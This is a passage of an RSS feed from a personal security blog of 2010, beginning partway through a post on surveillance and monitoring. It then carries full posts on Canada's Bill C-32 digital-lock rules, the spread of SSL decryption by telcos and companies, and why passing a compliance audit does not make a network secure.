<p>At the end of the job, I was having a conversation with the CTO.  He was wondering if there was an automated way to keep audio conversations of all the employees.  At the time, this technology was not as prevalent, cheap, and available to the general public as it is today.  I asked him if he thought that was really appropriate.  I explained that I had just listened in on someones private conversations.   Maybe it wasn&#8217;t any of the companies business.   Maybe there were legalities if they were to do that (yes, I was annoyed).  His response was very quick.  &#8220;The company has a right to view all data, monitor activity that its equipment or network is used for, period&#8221;.   He told me all the employees know this and sign a document to that effect.  I said that made sense.   I asked him what he would think if he was in a confidential conversation on the phone with someone in a different province and Bell had listened in on his conversation?  I said that I assume he didn&#8217;t have problem with it, after all it is their network, their devices.  Aside from the angry facial expression, he said that was &#8216;different&#8217; and they shouldn&#8217;t be allowed to do that.</p>
<p>Fast forward to now.  Everyone has a video camera or picture camera on them as a result of mobile phones.  If you are serious about it, you can find all kinds of <a href="http://www.spycamman.com/">tiny</a> spy <a href="http://www.spycameras.com/">cameras</a>.  <a href="http://eyeborgproject.com">Rob Spence has implanted a camera in his eye.</a> It amuses me when law enforcement gets all concerned about citizens taking their picture and video taping them.  I guess they feel that they should be able to watch and monitor us, but we shouldn&#8217;t be able to watch and monitor them.  Of course if they are not doing anything wrong, then they should have nothing to worry about right? (that statement is an entire topic in and of itself).</p>
<p>Everyone has reasons why a particular person or group of people should or should not be monitored.  It really comes down to the basic premise that we as humans don&#8217;t want to be monitored, but we want the ability to monitor others, especially if we deem them as a threat.  Government wants the ability to covertly monitor their citizens but do not want organizations covertly monitoring them.  Police want cameras everywhere so they can monitor what is going on and use it to assist with their job, but <a href="http://www.usatoday.com/news/opinion/editorials/2010-07-15-editorial15_ST1_N.htm">they don&#8217;t want to be video taped</a> in <a href="http://www.washingtonpost.com/wp-dyn/content/article/2010/06/20/AR2010062002532.html">case</a> they get caught doing something controversial, such as <a href="http://www.youtube.com/watch?v=IPe_hf7aBXM">Robert Dziekanski</a> being killed by officers at Vancouver airport. The video once released on the Internet, forced police to <a href="http://www.youtube.com/watch?v=o5k7CmAENHo">change their story</a>.  Businesses feel they have a right to monitor their employees, but would have concerns if employees were monitoring some of their activities.</p>
<p>Personally, I think it is futile to attempt to stop one group from monitoring another, especially in public places.  It will never be successful.  Who do you feel should be able to monitor who?   Under what circumstances and conditions is video or audio surveillance appropriate?</p>
<p style="text-align: right;"><a href="http://www.flickr.com/photos/alsiafy/53295600/in/photostream/"><em>photo credit</em></a></p>
]]></content:encoded>
			<wfw:commentRss>http://michaeldundas.com/2010/07/16/i-am-watching-you-but-you-cant-watch-me/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bill C-32, digital locks, and my concerns</title>
		<link>http://michaeldundas.com/2010/06/24/bill-c-32-digital-locks-and-my-concerns/</link>
		<comments>http://michaeldundas.com/2010/06/24/bill-c-32-digital-locks-and-my-concerns/#comments</comments>
		<pubDate>Thu, 24 Jun 2010 19:57:06 +0000</pubDate>
		<dc:creator>Clear2Go</dc:creator>
				<category><![CDATA[Copyright]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://michaeldundas.com/?p=1871</guid>
		<description><![CDATA[I am not a lawyer, nor am I a politician or a copyright expert.   I have been following the copyright debate quite religiously for the last 3-4 years, trying to learn what I can.  In Canada Bill C-32 has been tabled to update the copyright laws.  There has been lots of discussion about the Bill, [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://michaeldundas.com/wp-content/uploads/2010/06/smithAndWessonFirearm1.png"><img class="alignright size-full wp-image-1874" title="smithAndWessonFirearm1" src="http://michaeldundas.com/wp-content/uploads/2010/06/smithAndWessonFirearm1.png" alt="" width="350" height="280" /></a>I am not a lawyer, nor am I a politician or a copyright expert.   I have been following the copyright debate quite religiously for the last 3-4 years, trying to learn what I can.  In Canada Bill C-32 has been tabled to update the copyright laws.  There has <a href="http://www.michaelgeist.ca/content/view/5141/125/">been</a> lots of <a href="http://www.michaelgeist.ca/content/view/5139/125/">discussion</a> <a href="http://www.michaelgeist.ca/content/view/5138/125/">about</a> the Bill, specifically around the digital lock rules in this bill.   Big industry wants to protect their materials, by making it illegal to remove digital locks, for any reason whatsoever, without permission of the copyright owner.  It also seems that it is illegal to publish tools that would assist others to break digital locks.  Both of these issues concern me.</p>
<p>See, I do research into security technologies as part of my job.  Security is also a personal interest of mine.  As an example, I am currently looking into a particular application that uses SSL to encrypt the data between points.  In order to do what I need to do for the research, I downloaded an open source tool, that basically breaks the SSL.  This allows me to work on my research with the application in question. If that tool was not published due to Bill C-32, then that stops me from doing my research.  I suppose I could create my own version of the tool, but why would I do that if someone already has a tool readily available?  It makes no sense.   The most likely response to my specific example is that SSL isn&#8217;t proprietary so it does not matter.  That is true in this case, but what about when I am evaluating a Blackberry PDA or an IPhone?   I suspect RIM and Apple might not take to kindly to me exposing problems in their software.  See, the current Bill C-32 might allow them to do this.   That is bad for security, bad for keeping companies honest.</p>
<p>I think it makes more sense to punish those that use the tools in a wrong way.  If someone was to take the tool, and use it in a botnet to extract credit card information, then the individuals that did this are guilty and should be charged.  The person that made the tool is not the guilty party.  It is like making <a href="http://www.smith-wesson.com">Smith &amp; Wesson</a> responsible because they created the firearm that was used in a murder.</p>
<p>Overall, I think Bill C-32 has made much progress from the previous bills in Canada.  My hope is that the Government starts to do their job and properly debate the bill and get input from all interested parties, <a href="http://www.michaelgeist.ca/content/view/5138/125/">not label people that question them as extremists</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://michaeldundas.com/2010/06/24/bill-c-32-digital-locks-and-my-concerns/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SSL Decryption is becoming the norm</title>
		<link>http://michaeldundas.com/2010/06/22/ssl-decryption-is-becoming-the-norm/</link>
		<comments>http://michaeldundas.com/2010/06/22/ssl-decryption-is-becoming-the-norm/#comments</comments>
		<pubDate>Tue, 22 Jun 2010 15:23:20 +0000</pubDate>
		<dc:creator>Clear2Go</dc:creator>
				<category><![CDATA[Forensics]]></category>
		<category><![CDATA[Privacy and Anonymity]]></category>
		<category><![CDATA[Surveillance]]></category>

		<guid isPermaLink="false">http://michaeldundas.com/?p=1838</guid>
		<description><![CDATA[A couple of years ago I was at a client&#8217;s site in Dubai.  The client was an telco, and I was doing some security consulting for them.   Like many countries in the Middle East, Dubai actively monitors data entering and leaving the country.  Privacy laws as far as I could determine do not exist.  All [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://michaeldundas.com/wp-content/uploads/2010/06/eavesdroppingOnApartmentDoor.png"><img class="alignright size-full wp-image-1860" title="eavesdroppingOnApartmentDoor" src="http://michaeldundas.com/wp-content/uploads/2010/06/eavesdroppingOnApartmentDoor.png" alt="" width="211" height="320" /></a>A couple of years ago I was at a client&#8217;s site in Dubai.  The client was an telco, and I was doing some security consulting for them.   Like many countries in the Middle East, Dubai actively monitors data entering and leaving the country.  Privacy laws as far as I could determine do not exist.  All internet communications are actively monitored.  It is quite common to suddenly see a web page pop up explaining in Arabic that the site you are trying to view is not authorized and you have been denied.  Telcos there have spent millions of dollars on infrastructure in order to enforce these requirements.  The design is not as complex as one might think, just resource intensive.  Resources are required to process the data real-time and staff is required to maintain the infrastructure, look into events and other tasks.  Telcos do this because it is required  by law.  You can not obtain a license as a Telco unless you have monitoring capabilities deployed.</p>
<p>My first day in Dubai, I went to lunch with one of the executives of the Telco.  During our lunch, I asked him how they manage encrypted connections.  He explained that they were currently getting ready to deploy a solution to solve that.  The infrastructure was being upgraded to decrypt all SSL sessions and parse the data as required.   Aside from opening my eyes to the difference in privacy between North America and the Middle East from a privacy perspective, I found it interesting that SSL decrypting was so easily available.   Previously, I had seen software that law enforcement used for this purpose.  I myself had done it for clients using available tools during a engagement.  But these tools were designed more for targeted surveillance, not mass scale.  Like all technology, it improves and gets less expensive over time I guess.</p>
<p>Today, there are many more companies in North America and abroad that either have deployed SSL decrypting capabilities or are in the process of doing so.  Security, diagnostics, audit and legal requirements to know what is coming and leaving their networks and being able to log and trace back data transmissions to the originator are some of the reasons.  One driver is Data Leakage Protection (DLP), currently a very &#8216;hot&#8217; topic with many new vendors jumping on the opportunity with solutions.  In order to look for data leakage, you need to see past any encryption that might be present.  <a href="http://cisco.com/">Cisco</a>, <a href="http://www.bluecoat.com/">Bluecoat</a>, <a href="http://www.paloaltonetworks.com/">PaloAlto</a>, <a href="http://www.fortinet.com/">Fortinet</a> are just a few companies that offer products for SSL decryption.</p>
<p>With Google deploying encryption for <a href="https://gmail.com">Gmail </a>and more recently <a href="https://www.google.com/">searching</a>, plug-ins such as the <a href="http://www.eff.org/deeplinks/2010/06/encrypt-web-https-everywhere-firefox-extension">EFF Firefox plug-in</a> to help secure your communications, companies are feeling more and more concerned about what data is coming and going.  What worries me is that all these security, legal and audit requirements companies face are actually not helping them in the long run.   If these companies are decrypting SSL sessions that egress and ingress their network, you can be sure that other companies are doing the same to theirs.  The net result is that everything is decrypted and no one has any privacy.</p>
<p>Next time you connect to your bank, doctor&#8217;s office, insurance company, Gmail or any site and see secure indications from your browser similar to these<a href="http://michaeldundas.com/wp-content/uploads/2010/06/httpsGmailURL.png"><img class="aligncenter size-full wp-image-1856" title="httpsGmailURL" src="http://michaeldundas.com/wp-content/uploads/2010/06/httpsGmailURL.png" alt="" width="284" height="27" /></a><a href="http://michaeldundas.com/wp-content/uploads/2010/06/firefoxSSLLock.png"><img class="aligncenter size-full wp-image-1857" title="firefoxSSLLock" src="http://michaeldundas.com/wp-content/uploads/2010/06/firefoxSSLLock.png" alt="" width="110" height="22" /></a></p>
<p>along with the companies re-assurances that the site is secure, keep in mind things may not be as they appear &#8211; today even more so than yesterday.</p>
<p>Do you deploy any type of decryption on your network?  If it is deployed are you aware of it?</p>
<p style="text-align: right;"><a href="http://www.flickr.com/photos/joehowell/2314400543/"><em>photo credit</em></a></p>
]]></content:encoded>
			<wfw:commentRss>http://michaeldundas.com/2010/06/22/ssl-decryption-is-becoming-the-norm/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Passing an audit does not imply you are secure</title>
		<link>http://michaeldundas.com/2010/05/31/passing-an-audit-does-not-imply-you-are-secure/</link>
		<comments>http://michaeldundas.com/2010/05/31/passing-an-audit-does-not-imply-you-are-secure/#comments</comments>
		<pubDate>Mon, 31 May 2010 22:53:24 +0000</pubDate>
		<dc:creator>Clear2Go</dc:creator>
				<category><![CDATA[Auditing]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://michaeldundas.com/?p=1801</guid>
		<description><![CDATA[I have been reading up on a few of the auditing standards such as COBIT and PCI.   I have dealt with audits at clients in the past.  Financial institutions take them very seriously.  Given the nature of their business and the recent financial crisis last year this approach makes complete sense. There is a need [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://michaeldundas.com/wp-content/uploads/2010/02/checkList.png"><img class="alignright size-full wp-image-1534" title="checkList" src="http://michaeldundas.com/wp-content/uploads/2010/02/checkList.png" alt="" width="215" height="143" /></a>I have been reading up on a few of the auditing standards such as COBIT and PCI.   I have dealt with audits at clients in the past.  Financial institutions take them very seriously.  Given the nature of their business and the recent financial crisis last year this approach makes complete sense.</p>
<p>There is a need to ensure audit compliance across the entire banking infrastructure.   From a financial perspective, compliance with the various audits is a must if you wish to stay in business.  Of course, my background is in network security.  Network security is not the same as auditing.   Although I have not met anyone that would say if you pass a particular set of audits you are secure, I have noticed across the audit industry in general there seems to be a unstated understanding that if you do pass audits you are secure or more secure than if you don&#8217;t.</p>
<p>Passing an audit does not mean you are secure.  Here is one of a few, but simple examples I have come across.  One of the audits requires that your entire internal network has address translation from inside to outside.  Effectively, the idea is that if I as a outside user browse to http://michaeldundas.com, that address would appear to the requester as 216.240.0.43.</p>
<p><a href="http://michaeldundas.com/wp-content/uploads/2010/05/clientToServerDirect.png"><img class="aligncenter size-full wp-image-1803" title="clientToServerDirect" src="http://michaeldundas.com/wp-content/uploads/2010/05/clientToServerDirect.png" alt="" width="770" height="254" /></a></p>
<p>From the quick diagram above, you can see how the client thinks that it is directly connected to 216.240.0.43/32, and it is.  Based on the audit requirement of having complete address translation with the untrusted Internet, you would have to configure a device that would convert the IP address the client has, to a different IP address.</p>
<p><a href="http://michaeldundas.com/wp-content/uploads/2010/05/clientToServerNAT.png"><img class="aligncenter size-full wp-image-1805" title="clientToServerNAT" src="http://michaeldundas.com/wp-content/uploads/2010/05/clientToServerNAT.png" alt="" width="782" height="305" /></a></p>
<p>The second diagram shows a router configured with Network Address Translation (NAT) to convert the IP address in both directions.  In this way the client does not know the real IP address of the server.   Any attack that you could do without NAT, you can do even if NAT is there.  Anyone that is active in attacking servers knows this.  It offers no additional security, just extra work.</p>
<p>Auditing does have its place and is necessary.  Complying with audit requirements for many industries is not an option and your staff must understand that.  But don&#8217;t let yourself or your staff be fooled into thinking audits make you more secure.  Audits help but they are not a substitute for good and proper security.   Passing an audit does not mean you are secure.</p>
]]></content:encoded>
			<wfw:commentRss>http://michaeldundas.com/2010/05/31/passing-an-audit-does-not-imply-you-are-secure/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

